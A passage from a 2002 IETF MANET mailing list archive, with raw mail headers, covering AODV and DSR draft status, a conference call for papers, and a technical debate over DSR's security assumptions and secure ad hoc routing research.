Re: Question of AODV References: <8470181DABD5D511B3E700D0B7A8AC4A96242F@cms3.etri.re.kr> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Hello Jaehoon, AODV for IPv6, and MAODV are not manet working group documents. It is not easy to tell if they might become working group documents in the future. However, there are implementations for both of them, and a good way for documents to be taken up as working group documents is for there to be more implementations. I also think it would be considered appropriate for you to discuss your experiences on the working group mailing list. Thanks for your interest. Regards, Charlie P. paul@etri.re.kr wrote: > > > Hello, > > I am a researcher of ETRI in Korea. > I have a plan to implement IPv6 AODV and Multicast routing protocol of > AODV. > I would like to know the status related to IPv6 AODV and AODV > Multicast routing protocol. > I also want to know if MANET WG will produce RFCs of IPv6 AODV and > AODV Multicast routing protocol. > Could anyone comment? > Thanks a lot. > > Regards, > Jaehoon From owner-manet@itd.nrl.navy.mil Fri Feb 22 04:50:07 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA25415 for ; Fri, 22 Feb 2002 04:50:07 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id CAA00171 for manet-outgoing; Fri, 22 Feb 2002 02:26:33 -0500 (EST) Received: from ux6.sp.cs.cmu.edu (UX6.SP.CS.CMU.EDU [128.2.181.250]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id CAA00165 for ; Fri, 22 Feb 2002 02:26:29 -0500 (EST) Date: Fri, 22 Feb 2002 02:25:58 -0500 (EST) From: Yih-Chun Hu X-Sender: yihchun@ux6.sp.cs.cmu.edu To: manet@itd.nrl.navy.mil Subject: New DSR Draft Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk We submitted our latest Internet-Draft (draft-ietf-manet-dsr-07.txt) today; we consider this to be a work-in-progress as we converge on a solid document to send to the IESG. This draft can be found at http://monarch.cs.rice.edu/internet-drafts/draft-ietf-manet-dsr-07.txt The differences between -06 and -07 represent the major changes that have been suggested as improvements to the draft. Though we invite comment on this current iteration of the draft, but would like an opportunity to further revise this document before the Last Call. Thanks, Yih-Chun From owner-manet@itd.nrl.navy.mil Fri Feb 22 12:22:38 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA12271 for ; Fri, 22 Feb 2002 12:22:37 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id JAA07977 for manet-outgoing; Fri, 22 Feb 2002 09:43:27 -0500 (EST) Received: from ece.ufl.edu (dot.ece.ufl.edu [128.227.220.22]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id JAA07972 for ; Fri, 22 Feb 2002 09:43:23 -0500 (EST) Received: (qmail 4090 invoked from network); 22 Feb 2002 14:41:13 -0000 Received: from fang.ece.ufl.edu (128.227.80.157) by dot.ece.ufl.edu with SMTP; 22 Feb 2002 14:41:13 -0000 Received: (from fang@localhost) by fang.ece.ufl.edu (8.9.3/8.9.3) id JAA15142; Fri, 22 Feb 2002 09:41:12 -0500 (EST) X-Authentication-Warning: fang.ece.ufl.edu: Processed from queue /home/faculty/fang/mqueue X-Authentication-Warning: fang.ece.ufl.edu: Processed by fang with -C /home/faculty/fang/bin/sendmail.cf Date: Fri, 22 Feb 2002 09:41:12 -0500 From: Yuguang Fang To: Yuguang Fang Cc: "Professor Mohammad S. Obaidat" Subject: SCS SPECTS'2002 deadline is approaching!!! Message-ID: <20020222094112.A15134@ece.ufl.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Mailer: Mutt 1.0pre4i Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by itd.nrl.navy.mil id JAA07973 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 8bit Dear Colleagues, The deadline is about one week away, you may want to wrap up your paper during the weekend and send it to us before the deadline. Do bear in mind that this symposium is also a part of the celebration of the 50 Years Anniversary of Society for Computer Simulation (SCS) International Michael Fang Submission Deadline: February 28, 2002 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% (We apologize for the inconvenience this message may cause if you receive multiple copies) Call For Papers 2002 International Symposium on Performance Evaluation of Computer and Telecommunication Systems SPECTS 2002 July 14-19, 2002 U. S. Grant Hotel San Diego, California, USA http://www.scs.org/confernc/spects02/ This annual international conference is a forum for professionals involved in performance evaluation of computer and telecommunication systems. Evaluation of computer systems and networks is needed at every stage in the life cycle of the product including design, manufacturing, sales/purchase, use, upgrade, tuning, etc. The discipline of performance evaluation has progressed rapidly in the past decade, and it has now begun to approach maturity. Significant progress has been made in analytic modeling, simulation, and measurement approaches for performance evaluation of computer and telecommunication systems. Topics of interest include, but are not limited to: Networking and Telecommunication Systems - Internet Technology - Quality of Service (QoS) - DiffServ/IntServ - TCP - Unicast and Multicast Routing - High-Speed Networking - ATM - Optical Networks - Switching Techniques - Teletraffic - Satellite Systems and Networks - Wireless Systems - UMTS/IMT-2000 - Mobile Networks/Computing - Multimedia Systems - Multimedia Communications - Adaptive Communications - Network Protocols - Network Management and Control - Network Capacity Planning - Network Architecture Evaluation - Service and QoS Pricing - Security and Authentication - World Wide Web (WWW) Technology - Electronic Commerce Computer Systems - Client/Server - Microprocessors/Microcomputers - Memory Systems - Interconnection Networks - Software Performance - Software Evaluation and Testing - Hardware and Software Monitors - High-Performance Computing - Workload and Traffic Characterization - Scientific Computing Algorithms - High Performance I/O - Reconfigurable Computing -Real-time Systems - Parallel and Distributed Computing - Distributed Systems and Agents - Massively Parallel Systems - Cluster Computing - Parallel Algorithms and Languages - Scheduling Schemes Tools, Methodologies and Applications - Parallel and Distributed Simulation - Verification and Validation - Performance Tools and Methodologies - Neural Networks and Fuzzy Logic Applications to High Performance Computing/Networking - Performance Optimization - Queueing Systems and Networks - Scalability Studies - Integrated Modeling and Measurement - On-Line Performance Adaptation and Tuning - Process Algebra-Based Models - Performance Bounds - Integrated Design and Performance - New Performance Models - Mathematical Aspects of Performance - New Performability Schemes and Models - Case Studies General Chair Mohammad S. Obaidat Dept. of Computer Science, Monmouth University W. Long Branch, NJ 07764, USA Tel +1-732-571-4482 Fax +1-732-263-5202 E-mail: obaidat@monmouth.edu Senior Program Chair Franco Davoli DIST-University of Genoa Via Opera Pia 13, I-16145 Genoa, Italy Tel +39-010-353-2732 Fax +39-010-353-2154 E-Mail: franco@dist.unige.it Program Co-Chairs Ibrahim Onyuksel Dept. of Computer Sciences, N. Illinois Univ., USA E-mail: onyuksel@cs.niu.edu Raffaele Bolla DIST-University of Genoa Via Opera Pia 13, I-16145 Genoa, Italy E-mail: lelus@dist.unige.it Vice Program Chair Erina Ferro CNUCE, Institute of National Research Council (C.N.R.) C.N.R. Pisa Research Area, Building B, Room 73 Via G. Moruzzi, 1 56124 Pisa, Italy E-mail: erina.ferro@cnuce.cnr.it Industrial Track Chair J. Fox, Motorola Inc., UK E-mail: fox.ijcs@btinternet.com Publicity Chair Yuguang (Michael) Fang, University of Florida, USA, E-mail: fang@ece.ufl.edu Web Master: Daniel Lee, University of Southern California, E-mail: dclee@rcf-fs.usc.edu Technical Program Committee Jagan P. Agrawal, University of Missouri - Kansas City, USA Ian Akyildiz, Georgia Tech., USA M. Atiquzzaman, University of Oklahoma, USA Harmen R. van As, Vienna University of Technology, Austria Louis G. Birta, University of Ottawa, Canada Noureddine Boudriga, University of Tunis, Tunisia Hasan Cam, Arizona State University, USA Andrew Campbell, Columbia University, USA Fabio M. Chiussi, Bell Laboratories, Lucent Technologies, USA Hassan B. Diab, American University of Beirut, Lebanon Gabor Fodor, Ericsson Radio Systems, Sweden John Fox, Motorola, UK Luigi Fratta, Politecnico di Milano, Italy Aura Ganz, University of Massachusetts, USA Erol Gelenbe, University of Central Florida, USA Mario Gerla, UCLA, USA Omar Hammami, ENSTA, France Jarmo Harju, Tampere University of Technology, Finland Herman Hughes, Michigan State University, USA Andrzej Jajszczyk, University of Mining and Metallurgy, Poland Ingemar Kaj, Uppsala University, Sweden Helen Karatza, Aristotle University of Thessalonica, Greece Demetrios Kazakos, University of Louisiana, USA Ulrich Killat, Tech Univ. of Hamburg, Germany Tag Gon Kim, KAIST, Korea Belka Kraimeche, Stevens Institute of Technology, USA Paul J. Kuehn, University of Stuttgart, Germany Kevin Kwiat, Air Force Research Laboratory, USA Veronica Lagrange M. Reis, Compaq Computers Corp., USA Axel Lehmann, Universität der Bundeswehr München, Germany Daniel C. Lee, USC, USA Mike T. Liu, Ohio State University, USA Imad Mahgoub, Florida Atlantic University, USA Sam Makki, Queensland University of Technology, Australia Krzysztof Malinowski, Warsaw Technical University, Poland Jose L. Marzo, Universitat de Girona, Spain Xiannong Meng, Bucknell University, USA Hussein Mouftah, Queen's University, Canada M. Ould-Khaoua, University of Glasgow, UK Sergio Palazzo, Università di Catania, Italy Georgios I. Papadimitriou, Aristotle University, Greece Achille Pattavina, Politecnico di Milano, Italy Krzysztof Pawlikowski, University of Canterbury, New Zealand Steven Pink, University of Arizona, USA George Polyzos, AUEB, Greece Ramon Puigjaner, Universitat de les Illes Balears, Spain Kaliappa Ravindran, CUNY, USA Gian Paolo Rossi, Università di Milano, Italy Izhak Rubin, UCLA, USA Donald Schilling, CUNY, USA Jens B. Schmitt, TU Darmstadt, Germany C. Tim Spracklen, Aberdeen University, UK Tatsuya Suda, UCI, USA Iwao Toda, Fujutsu Laboratories Ltd., Japan Phuoc Tran-Gia, University of Wuerzburg, Germany Kenneth S. Vastola, Rensselaer Polytechnic Institute, USA Manuel Villen-Altamirano, Telefonica, Spain Bernd E. Wolfinger, Hamburg University, Germany Michele Zorzi, Università di Ferrara, Italy International Liaisons B. Sadoun, Al-Balqa' Applied University, Jordan Bsadoun@go.com.jo M. Sawan, Montreal Poly, Canada Sawan@vlsi.polymtl.ca N. Tchamov, Tampere Univ. of Technology, Finland Nikolay@cs.tut.fi Publicity Committee: Hideki Tode, Osaka Univ., Japan, E-mail: Tode@ise.eng.osaka-u.ac.jp Nusseirat, Al-Isra University, Jordan, E-mail: anuseirat@firstnet.com.jo Paper Submission Submit your complete papers electronically to: http://scs.proceedingscentral.com/ All required instructions will be posted on this web site. Submissions should not exceed 25 double-spaced, 8.5x11 inch pages (including figures, tables, and references) in 10-12 point font. Include five to ten keywords, complete postal and e-mail addresses, and fax and phone numbers of corresponding author. If you have difficulty in electronic submission, contact the Web Master, Program Chairs or the Conference Coordinator, Mr. Steve Branch, The Society for Modeling and Simulation International, 4838 Ronson Court, Suite L, San Diego, CA 92111, USA, Tel 858-277-3888, Fax 858-277-3930, E-mail sbranch@scs.org sbranch@scs.org. Extended versions of accepted papers in SPECTS 2002 will be considered for possible publication in scholarly journals. Proposals for tutorials, special and panel sessions should be sent to the Conference Senior Program Chair. Proposals for industrial sessions should be submitted to the Industrial Track Chair. For more information regarding presentations or exhibitions at SPECTS 2002 contact: Mr. Steve Branch at the address shown above. Deadlines Submission of Papers: Extended to February 28, 2002. Notification of Acceptance - April 22, 2002 Final Camera-Ready Submission - May 22, 2002 Sponsored by The Society for Modeling and Simulation International. -- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Yuguang "Michael" Fang, Ph.D Assistant Professor Department of Electrical and Computer Engineering University of Florida 435 Engineering Building, P.O.Box 116130 Gainesville, FL 32611 Tel: (352) 846-3043, Fax: (352) 392-0044 Email: fang@ece.ufl.edu, http://www.fang.ece.ufl.edu %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% From owner-manet@itd.nrl.navy.mil Sat Feb 23 12:29:42 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA21977 for ; Sat, 23 Feb 2002 12:29:42 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id JAA02682 for manet-outgoing; Sat, 23 Feb 2002 09:56:31 -0500 (EST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id JAA02677 for ; Sat, 23 Feb 2002 09:56:27 -0500 (EST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id g1NEuNh24357; Sat, 23 Feb 2002 16:56:23 +0200 Date: Sat, 23 Feb 2002 16:56:22 +0200 (EET) From: Pekka Savola To: Yih-Chun Hu cc: manet@itd.nrl.navy.mil Subject: Re: New DSR Draft In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk On Fri, 22 Feb 2002, Yih-Chun Hu wrote: > We submitted our latest Internet-Draft (draft-ietf-manet-dsr-07.txt) > today; we consider this to be a work-in-progress as we converge on a solid > document to send to the IESG. This draft can be found at > http://monarch.cs.rice.edu/internet-drafts/draft-ietf-manet-dsr-07.txt > > The differences between -06 and -07 represent the major changes that have > been suggested as improvements to the draft. Though we invite comment on > this current iteration of the draft, but would like an opportunity to > further revise this document before the Last Call. I read -06 a week ago because I'll have to write a paper about it in a month or so.. and let's just say I didn't like what I read (everybody must trust everybody 100%, changing IP to be a reliable protocol by retransmissions, total incompatibility with anything like IPSEC, piggybacking data and routing control, forcing every router to look into DSR header killing "fast path" etc.); it seemed to be a nice piece of academic work, "mental masturbation" some might say, but totally unapplicable in any real use except, perhaps, for some very special cases where the assumptions hold (perhaps some military networks). But then again, this was a first manet draft I read, so perhaps all of them are more or less of the same. I'll try to give more concrete feedback within some weeks but I'm not sure if that's going to help any as the basic assumptions seem to vary quite a bit. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From owner-manet@itd.nrl.navy.mil Sat Feb 23 17:00:39 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA24535 for ; Sat, 23 Feb 2002 17:00:39 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id OAA05439 for manet-outgoing; Sat, 23 Feb 2002 14:53:51 -0500 (EST) Received: from ux6.sp.cs.cmu.edu (UX6.SP.CS.CMU.EDU [128.2.181.250]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id OAA05434 for ; Sat, 23 Feb 2002 14:53:48 -0500 (EST) Date: Sat, 23 Feb 2002 14:53:39 -0500 (EST) From: Yih-Chun Hu X-Sender: yihchun@ux6.sp.cs.cmu.edu To: Pekka Savola cc: manet@itd.nrl.navy.mil Subject: Re: New DSR Draft In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk >I read -06 a week ago because I'll have to write a paper about it in a >month or so.. and let's just say I didn't like what I read (everybody must >trust everybody 100%, This is a given in manet. A number of groups are working on security right now, but that is very much an area of research. Also consider how BGP is implemented in the Internet today. Is that an unrealistic level of trust as well? >changing IP to be a reliable protocol by >retransmissions, We're not trying to make IP reliable; the retransmissions are for the purposes of neighbor detection. This is clarified in -07, where only the neighbor reachability acknowledgements are retransmitted. >total incompatibility with anything like IPSEC, I don't see how it's completely incompatible with IPsec. Anything below the DSR header can be encrypted or authenticated, in the same way as Hop-By-Hop options in IPv6 are normalized before AH processing. >piggybacking data and routing control, I fail to see how this is a problem. How is this different from, say, IPv6 Routing Headers? >forcing every router to look into >DSR header killing "fast path" etc You're only checking the IP Protocol number for default flow forwarding (dsrflow-00). Furthermore, if you need to run a manet routing protocol on superfast links where you actually need fast path, you should seriously consider RIP or DSDV; it's precisely those cases where you can just throw bandwidth at the problem. Furthermore, all of manet by definition either sacrifices fast path performance or kills scalability due to lack of address aggregation, so mindlessly evaluating manet protocols from an Internet routing requirements document isn't meaningful. >.); it seemed to be a nice piece of >academic work, [...] but totally >unapplicable in any real use except, perhaps, for some very special cases >where the assumptions hold (perhaps some military networks). If you don't believe the assumptions, perhaps other IETF working groups in the routing area would interest you more. Most of the people actively working in the manet WG would strongly disagree with you on this point, and in each of our research papers on the area, we stress the scenarios where ad hoc networks may be applicable. Our papers can be found at: http://monarch.cs.rice.edu/papers.html >But then again, this was a first manet draft I read, so perhaps all of >them are more or less of the same. > >I'll try to give more concrete feedback within some weeks but I'm not sure >if that's going to help any as the basic assumptions seem to vary quite a >bit. > >-- >Pekka Savola "Tell me of difficulties surmounted, >Netcore Oy not those you stumble over and fall" >Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From owner-manet@itd.nrl.navy.mil Sat Feb 23 18:55:58 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA25459 for ; Sat, 23 Feb 2002 18:55:58 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id RAA06331 for manet-outgoing; Sat, 23 Feb 2002 17:00:59 -0500 (EST) Received: from memphis.ece.cornell.edu (memphis.ece.cornell.edu [128.84.81.8]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id RAA06326 for ; Sat, 23 Feb 2002 17:00:56 -0500 (EST) From: haas@ece.cornell.edu Received: from verdi.ee.cornell.edu (verdi.ee.cornell.edu [128.84.240.71]) by memphis.ece.cornell.edu (8.11.6/8.11.2) with ESMTP id g1NLnsX01008; Sat, 23 Feb 2002 16:49:54 -0500 Date: Sat, 23 Feb 2002 17:00:51 -0500 (EST) X-Sender: haas@verdi.ee.cornell.edu To: Yih-Chun Hu cc: Pekka Savola , manet@itd.nrl.navy.mil Subject: Re: New DSR Draft In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Hi, > >I read -06 a week ago because I'll have to write a paper about it in a > >month or so.. and let's just say I didn't like what I read (everybody must > >trust everybody 100%, > > This is a given in manet. A number of groups are working on security right > now, but that is very much an area of research. Also consider how BGP is > implemented in the Internet today. Is that an unrealistic level of trust > as well? In order to implement Secure Routing, there is *no* need for full trust relations among the nodes (i.e., no everyone has to trust everyone else). For more inofrmation, see the Secure Routing Protocol (SRP): P.Papadimitratos and Z.J. Haas, "Secure Routing for Mobile Ad Hoc Networks," SCS Communication Networks and Distributed Systems Modeling and Simulation Conference (CNDS 2002), San Antonio, TX, January 27-31, 2002. You can download it from our WNL web page. Enjoy! Zygmunt. ==-=-==== ~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- Prof. Zygmunt J. Haas http://people.ece.cornell.edu/haas Wireless Networks Laboratory http://wnl.ece.cornell.edu School of Electrical Engineering Cornell University tel: +1-607-255-3454 323 Frank Rhodes Hall fax: +1-607-255-9072 Ithaca, NY 14853 e-mail: haas@ece.cornell.edu U.S.A WNL web page: http://wnl.ece.cornell.edu ~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- From owner-manet@itd.nrl.navy.mil Sat Feb 23 19:33:57 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA25724 for ; Sat, 23 Feb 2002 19:33:57 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id RAA06792 for manet-outgoing; Sat, 23 Feb 2002 17:45:56 -0500 (EST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id RAA06781 for ; Sat, 23 Feb 2002 17:45:52 -0500 (EST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id g1NMjnD27528; Sun, 24 Feb 2002 00:45:49 +0200 Date: Sun, 24 Feb 2002 00:45:49 +0200 (EET) From: Pekka Savola To: Yih-Chun Hu cc: manet@itd.nrl.navy.mil Subject: Re: New DSR Draft In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk I had wanted to avoid further comments for a few weeks, but I'll comment on a few issues. On Sat, 23 Feb 2002, Yih-Chun Hu wrote: > >total incompatibility with anything like IPSEC, > > I don't see how it's completely incompatible with IPsec. Anything below > the DSR header can be encrypted or authenticated, in the same way as > Hop-By-Hop options in IPv6 are normalized before AH processing. Source/destination addresses are usually included in IPSEC ICV calculations, and AFAIR these can change in transit (I recall some oddness with 255.255.255.255 at least, but not sure). By the way, have you considered whether wide-scale use of 255.255.255.255 is a good idea? If it's supposed to work off-link, I sense a new directed-broadcast -style attack wave coming (using routing header as a reflector from the remote router). > >piggybacking data and routing control, > > I fail to see how this is a problem. How is this different from, say, IPv6 > Routing Headers? Routing Headers aren't significantly overwritten in the process of being transferred around the network. AFAIR, whole DSR options can be removed or added while in transit. Note that if above is true, this could be rather problematic from Path MTU discovery perspective. There are some issues with routing headers, by the way, especially in production networks: http://www.ietf.org/internet-drafts/draft-savola-ipv6-rh-ha-security-01.txt most of these don't probably apply to the DSR scenario. > >forcing every router to look into > >DSR header killing "fast path" etc > > You're only checking the IP Protocol number for default flow forwarding > (dsrflow-00). Furthermore, if you need to run a manet routing protocol on > superfast links where you actually need fast path, you should seriously > consider RIP or DSDV; it's precisely those cases where you can just throw > bandwidth at the problem. Furthermore, all of manet by definition either > sacrifices fast path performance or kills scalability due to lack of > address aggregation, so mindlessly evaluating manet protocols from an > Internet routing requirements document isn't meaningful. Another, related problem: all routers must support DSR, else they can't dig into DSR header's options and see if they should process the header. (as the router is not the destination address of the packets.) > >.); it seemed to be a nice piece of > >academic work, [...] but totally > >unapplicable in any real use except, perhaps, for some very special cases > >where the assumptions hold (perhaps some military networks). > > If you don't believe the assumptions, For example, you refer to 802.11 as a potential technique, rely solely on the security of the link-layer, but we all know that for practical purposes there exists none in 802.11. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From owner-manet@itd.nrl.navy.mil Sat Feb 23 19:33:57 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA25726 for ; Sat, 23 Feb 2002 19:33:57 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id RAA06773 for manet-outgoing; Sat, 23 Feb 2002 17:45:06 -0500 (EST) Received: from memphis.ece.cornell.edu (memphis.ece.cornell.edu [128.84.81.8]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id RAA06768 for ; Sat, 23 Feb 2002 17:45:03 -0500 (EST) From: haas@ece.cornell.edu Received: from verdi.ee.cornell.edu (verdi.ee.cornell.edu [128.84.240.71]) by memphis.ece.cornell.edu (8.11.6/8.11.2) with ESMTP id g1NMY2X01738; Sat, 23 Feb 2002 17:34:02 -0500 Date: Sat, 23 Feb 2002 17:45:00 -0500 (EST) X-Sender: haas@verdi.ee.cornell.edu To: Yih-Chun Hu cc: Pekka Savola , manet@itd.nrl.navy.mil Subject: Re: New DSR Draft In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk > By no means do I intend to belittle recent progress in the area of > practical, secure routing mechanisms for ad hoc networks; I'm only > pointing out that _none_ of the current manet WG IDs do an acceptable job > of providing security, and that for some time to come (at least a year or > two) none of the proposed secure protocols make sense as Experimental > RFCs. Hmmm, to backup such a strong claim, you would need to show that there is a substantial flaw in *every* secure routing mechanisms proposed there. This might be tough call .... I agree with you that various of those schemes have different assumptions- some more realistic than others. (For instance, as opposed to other works, our scheme has the salient features that it does not require security binding between *intermediate* nodes; only between the "source" and the "destination".) But even if some of the assumptions in some schemes (others, not ours (:-)), make less than realistic assumption, I feel that your statement that "none_ of the current manet WG IDs do an acceptable job of providing security" is a bit too harsh. Wouldn't you agree? Zygmunt. ==--=-==-== ~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- Prof. Zygmunt J. Haas http://people.ece.cornell.edu/haas Wireless Networks Laboratory http://wnl.ece.cornell.edu School of Electrical Engineering Cornell University tel: +1-607-255-3454 323 Frank Rhodes Hall fax: +1-607-255-9072 Ithaca, NY 14853 e-mail: haas@ece.cornell.edu U.S.A WNL web page: http://wnl.ece.cornell.edu ~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- > > >> This is a given in manet. A number of groups are working on security right > >> now, but that is very much an area of research. Also consider how BGP is > >> implemented in the Internet today. Is that an unrealistic level of trust > >> as well? > > > >In order to implement Secure Routing, there is *no* need for full > >trust relations among the nodes (i.e., no everyone has to trust > >everyone else). > > Also, > Radia Perlman. Network Layer Protocols with Byzantine Robustness. > Technical Report, MIT Laboratory for Computer Science #429, October 1988. > > Manel Guerrero Zapata. Secure Ad hoc On-Demand Distance Vector (SAODV) > Routing. IETF MANET Mailing List, Message-ID: > 3BC17B40.BBF52E09@nokia.com, URL: > ftp://manet.itd.nrl.navy.mil/pub/manet/2001-10.mail, October 8, 2001. > > Bridget Dahill, Brian Neil Levine, Elizabeth Royer, and Clay Shields. A > Secure Routing Protocol for Ad Hoc Networks, Technical > Report UM-CS-2001-037, University of Michigan, August 2001. > > Seung Yi, Prasad Naldurg and Robin Kravets. Security-Aware Ad hoc Routing > for Wireless Networks. Technical Report UIUCDCS-R-2001-2241, UIUC, August > 2001. > > My point is that none of these papers have been out long enough or > publicized well enough or independantly tested using simulation and > implementation to be a serious candidate within manet at the present time. > Furthermore, no single manet-wide threat model has ever been defined, so > if you adopt the no node compromise model, MAC layer encryption with > integrity is sufficient, and if you assume no single trusted entity, you > need a PGP-style web-of-trust for certificates. > > By no means do I intend to belittle recent progress in the area of > practical, secure routing mechanisms for ad hoc networks; I'm only > pointing out that _none_ of the current manet WG IDs do an acceptable job > of providing security, and that for some time to come (at least a year or > two) none of the proposed secure protocols make sense as Experimental > RFCs. > > Yih-Chun > From owner-manet@itd.nrl.navy.mil Sat Feb 23 19:34:04 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA25748 for ; Sat, 23 Feb 2002 19:34:04 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id RAA06657 for manet-outgoing; Sat, 23 Feb 2002 17:37:01 -0500 (EST) Received: from ux6.sp.cs.cmu.edu (UX6.SP.CS.CMU.EDU [128.2.181.250]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id RAA06652 for ; Sat, 23 Feb 2002 17:36:58 -0500 (EST) Date: Sat, 23 Feb 2002 17:36:25 -0500 (EST) From: Yih-Chun Hu X-Sender: yihchun@ux6.sp.cs.cmu.edu To: haas@ece.cornell.edu cc: Pekka Savola , manet@itd.nrl.navy.mil Subject: Re: New DSR Draft In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk >> This is a given in manet. A number of groups are working on security right >> now, but that is very much an area of research. Also consider how BGP is >> implemented in the Internet today. Is that an unrealistic level of trust >> as well? > >In order to implement Secure Routing, there is *no* need for full >trust relations among the nodes (i.e., no everyone has to trust >everyone else). Also, Radia Perlman. Network Layer Protocols with Byzantine Robustness. Technical Report, MIT Laboratory for Computer Science #429, October 1988. Manel Guerrero Zapata. Secure Ad hoc On-Demand Distance Vector (SAODV) Routing. IETF MANET Mailing List, Message-ID: 3BC17B40.BBF52E09@nokia.com, URL: ftp://manet.itd.nrl.navy.mil/pub/manet/2001-10.mail, October 8, 2001. Bridget Dahill, Brian Neil Levine, Elizabeth Royer, and Clay Shields. A Secure Routing Protocol for Ad Hoc Networks, Technical Report UM-CS-2001-037, University of Michigan, August 2001. Seung Yi, Prasad Naldurg and Robin Kravets. Security-Aware Ad hoc Routing for Wireless Networks. Technical Report UIUCDCS-R-2001-2241, UIUC, August 2001. My point is that none of these papers have been out long enough or publicized well enough or independantly tested using simulation and implementation to be a serious candidate within manet at the present time. Furthermore, no single manet-wide threat model has ever been defined, so if you adopt the no node compromise model, MAC layer encryption with integrity is sufficient, and if you assume no single trusted entity, you need a PGP-style web-of-trust for certificates. By no means do I intend to belittle recent progress in the area of practical, secure routing mechanisms for ad hoc networks; I'm only pointing out that _none_ of the current manet WG IDs do an acceptable job of providing security, and that for some time to come (at least a year or two) none of the proposed secure protocols make sense as Experimental RFCs. Yih-Chun From owner-manet@itd.nrl.navy.mil Sat Feb 23 20:20:15 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA25996 for ; Sat, 23 Feb 2002 20:20:15 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id SAA07301 for manet-outgoing; 